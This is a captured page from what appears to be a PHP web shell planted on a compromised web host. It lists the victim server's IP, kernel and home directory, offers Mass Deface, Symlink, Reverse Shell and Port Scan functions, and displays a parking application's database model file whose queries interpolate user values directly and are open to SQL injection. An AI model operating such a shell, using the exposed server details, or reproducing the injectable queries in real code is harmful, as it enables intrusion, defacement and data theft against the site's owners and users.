Tul xxx Tul
User / IP
:
216.73.216.183
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
parqueo
/
Models
/
Viewing: ConfiguracionModel.php
<?php class ConfiguracionModel extends Query { private $contenido, $nombre, $clave, $id_caja, $id, $estado, $cargo, $mail, $img; public function __construct() { parent::__construct(); } public function getZonas() { // Trae todas las zonas horarias registradas $sql = "SELECT * FROM configuracion WHERE parametro = 'zona_horaria'"; $data = $this->selectAll($sql); // Devuelve un array de registros return $data; } public function actualizarZona(string $zona, string $pais) { $sql = "UPDATE configuracion SET valor = '$zona', pais = '$pais', updated_at = NOW() WHERE parametro = 'zona_horaria' LIMIT 1"; $data = $this->save($sql, []); // save() ejecuta la query return $data == 1; // true si se actualizó correctamente } public function getTarifas() { // Traer todas las tarifas $sqlTarifas = "SELECT id, tipo_vehiculo, tarifa_hora, tarifa_dia, estado FROM tarifas_parqueadero ORDER BY id ASC"; $tarifas = $this->selectAll($sqlTarifas); // Traer el único registro de tiempo de gracia $sqlGracia = "SELECT id, minutos_gracia FROM tiempo_gracia LIMIT 1"; $tiempoGracia = $this->select($sqlGracia); // Retornar ambos en un solo array return [ "tarifas" => $tarifas, "tiempo_gracia" => $tiempoGracia ]; } public function actualizarTarifas(array $tarifas) { $success = true; foreach ($tarifas as $tarifa) { $id = (int)$tarifa['id']; $tarifa_hora = (float)$tarifa['tarifa_hora']; $tarifa_dia = (float)$tarifa['tarifa_dia']; $sql = "UPDATE tarifas_parqueadero SET tarifa_hora = ?, tarifa_dia = ?, updated_at = NOW() WHERE id = ?"; $result = $this->save($sql, [$tarifa_hora, $tarifa_dia, $id]); if ($result != 1) { $success = false; // Si algún update falla, marcamos false } } return $success; } public function actualizarTiempoGracia(int $id, int $minutos) { $sql = "UPDATE tiempo_gracia SET minutos_gracia = ? WHERE id = ?"; $result = $this->save($sql, [$minutos, $id]); return $result === 1; // Devuelve true si la actualización fue exitosa } // EmpresaModel.php o TicketModel.php public function getFooters() { $sql = "SELECT * FROM ticket_footer WHERE estado = 1 ORDER BY orden ASC"; return $this->selectAll($sql); // Ahora trae todos los registros activos } public function saveFooter(string $contenido) { $this->contenido = $contenido; // Contar todos los pies de página $sqlCount = "SELECT COUNT(*) as total FROM ticket_footer"; $row = $this->select($sqlCount); // Ajuste: verificar si $row[0]['total'] existe, o $row['total'] if (isset($row[0]['total'])) { $orden = intval($row[0]['total']) + 1; } elseif (isset($row['total'])) { $orden = intval($row['total']) + 1; } else { $orden = 1; } $sql = "INSERT INTO ticket_footer (contenido, orden, estado) VALUES (?, ?, '1')"; $params = [$this->contenido, $orden]; $data = $this->save($sql, $params); if ($data == 1) { // Obtener el último ID insertado $sqlLastId = "SELECT MAX(idFooter) AS idFooter FROM ticket_footer"; $rowLast = $this->select($sqlLastId); $idFooter = isset($rowLast[0]['idFooter']) ? intval($rowLast[0]['idFooter']) : null; return [ 'success' => true, 'idFooter' => $idFooter, 'orden' => $orden ]; } else { return [ 'success' => false, 'error' => 'No se pudo registrar el pie de página' ]; } } public function accion($id, $accion) { switch ($accion) { case 'eliminar': $sql = "DELETE FROM ticket_footer WHERE idFooter = $id"; $data = $this->save($sql, []); return $data == 1; case 'inactivar': $sql = "UPDATE ticket_footer SET estado = '0' WHERE idFooter = $id"; $data = $this->save($sql, []); return $data == 1; case 'reintegrar': $sql = "UPDATE ticket_footer SET estado = '1' WHERE idFooter = $id"; $data = $this->save($sql, []); return $data == 1; default: return false; } } public function updateFooters(array $footers) { $success = true; foreach ($footers as $footer) { $id = (int)$footer['idFooter']; $contenido = trim($footer['contenido']); if ($contenido === '') continue; // Actualizamos usando el mismo estilo que mencionaste $sql = "UPDATE ticket_footer SET contenido = ?, fecha_actualizacion = NOW() WHERE idFooter = $id"; $data = $this->save($sql, [$contenido]); if ($data != 1) { $success = false; } } return $success; } public function getUserById(int $id) { // Traer solo id y nombre del usuario $sqlUsuario = "SELECT id, nombre FROM usuarios WHERE id = $id"; $usuario = $this->select($sqlUsuario); if (!$usuario) { return null; // Si no existe usuario } // Traer permisos del usuario con JOIN $sqlPermisos = "SELECT p.nombre FROM usuario_permisos up INNER JOIN permisos p ON up.permiso_id = p.id WHERE up.usuario_id = $id"; $permisos = $this->selectAll($sqlPermisos); // Array simple de permisos $usuario['permisos'] = array_column($permisos, 'nombre'); return $usuario; } }
Coded With 💗 by
0x6ick